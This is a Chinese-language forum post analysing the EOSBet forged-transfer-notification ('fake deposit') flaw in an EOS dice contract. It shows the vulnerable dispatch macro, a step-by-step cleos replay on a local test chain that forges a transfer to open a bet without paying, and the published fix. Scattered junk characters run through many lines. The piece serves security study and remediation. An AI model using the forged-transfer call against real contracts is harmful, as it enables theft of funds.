EOS dApp 漏洞盘点分析—EOSBet 假充值漏洞一
蓝天天使2017
发表于 2022-12-27 17:33:36
111
0
0
文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis, C; {" E d4 M0 C$ R
0x00 背景
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。4 u1 d6 d( b9 l' n$ l+ K) ^
0x01 技术分析
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \: I! S" h: v" }, Y
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \
if( action == N(onerror)) { \
/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \# n, K; F8 k) w0 a3 |1 t7 A7 G
eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \. O5 A* j& G6 g3 W( U, ]" n3 x
} \' v6 _$ E; ?4 i; f) G
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
TYPE thiscontract( self ); \1 d! y6 w" H1 F) J0 I
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \1 m1 o% w4 M4 F- w2 {6 E, Y
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \9 E2 U: }/ R- o- c4 W
} \
}8 L+ j' q# _" Y$ ]) l
通过官方给出的EOSIO_ABI,问题主要出在以下代码3 v6 {, e' e6 |
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \- t+ n* d$ U! i
TYPE thiscontract( self ); \+ l: b1 g/ L: ^7 k
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \2 i& N+ A, T, N/ Z
} \9 t, Q& I9 a: p8 y$ d( m) O
}& m4 ?* @$ |7 K! _' ~& \1 t! L% M
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。( `& M5 D8 I% U8 {! P8 @ i/ X
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。. y- M% z, P, p! Z
0x02 攻击复盘6 }' l7 P6 I1 H
创建eosio.token账户
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV% U2 Q' ~8 x+ i: C- ]0 w" p8 \
部署eosio.token合约并初始化
# 部署合约# r, t/ P) X4 E E- ^6 w1 i8 \4 e
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
# 初始化合约& v: A3 m+ c0 x) ~/ j3 B" F5 r
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
创建游戏账户、开奖账户和攻击者账户
#创建游戏账户和开奖账户7 j/ c5 l, i1 E4 k% c9 ?
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk8 X. D3 U6 T* k
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
#创建攻击者账户
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk- O* \6 c$ |/ R7 Z
设置账户随机权限和开奖权限
#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner! d7 i) s" N! Y" T* S, M4 b% L
#设置开奖权限, i! m( V: _2 ` c: T9 q
cleos set action permission eosbetcasino eosbetdice11 resolvebet random
向相关账户冲入代币
#往相关账户充值
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active" c' e9 I7 n; f; k
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
![4.png]()( H- s0 Q/ v4 ]7 h, ?. z) ?5 S$ Z
部署游戏合约并初始化! U$ V4 S4 ~9 e! w# ^" K$ n
#部署游戏合约
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
#初始化游戏合约: \8 A5 \2 G9 A9 s# A8 W& _. x
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
模拟黑客攻击(伪造转账通知)6 b* W t6 J( M
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
查询游戏订单
cleos get table eosbetdice11 eosbetdice11 activebets
6 T/ w( Y- @! _2 c/ {: }
可见,游戏订单已经生成,查询attacker和eosbetdice11账户* W5 P1 ]( k: A" E1 s0 E$ o
% u5 p d! k; U {& o( ?
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
最后对该订单进行开奖。
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random$ ]& {* P- ?% F9 v
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。, _/ M( z( q7 K0 Y" _
0x03 后记
EOSBet随后将修复方案公开
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \' a1 p$ ? W. e1 h
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \# @" X, q* o; i* q
auto self = receiver; \. Q2 ^0 U, D6 Q2 s: C
if( code == self || code == N(eosio.token)) { \2 v" I z& Z) {
if( action == N(transfer)){ \
// 必须是eosio.token来调用合约自身的transfer函数
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
} \7 ~) v; D% D& }/ ^4 G
TYPE thiscontract( self ); \
switch( action ) { \. S0 O. Y) }$ g8 ]
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \
}
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D( o- U5 Q- g( K( B& ?* ~( z! J
0x04 修复方案# A3 r+ k* v2 z3 ~* t( ~+ J" y. V/ z
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:" j( s+ C! u- o0 @8 r2 r7 y8 c2 b
通知是否来自eosio.token,即只处理eosio.token发送的通知
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");8 x& J; ^$ [, h) ~# F# ~* I6 u
+ F! D X- ^% D" ?* G4 O! G- R
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知* y P6 q2 K3 m Q
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
成为第一个吐槽的人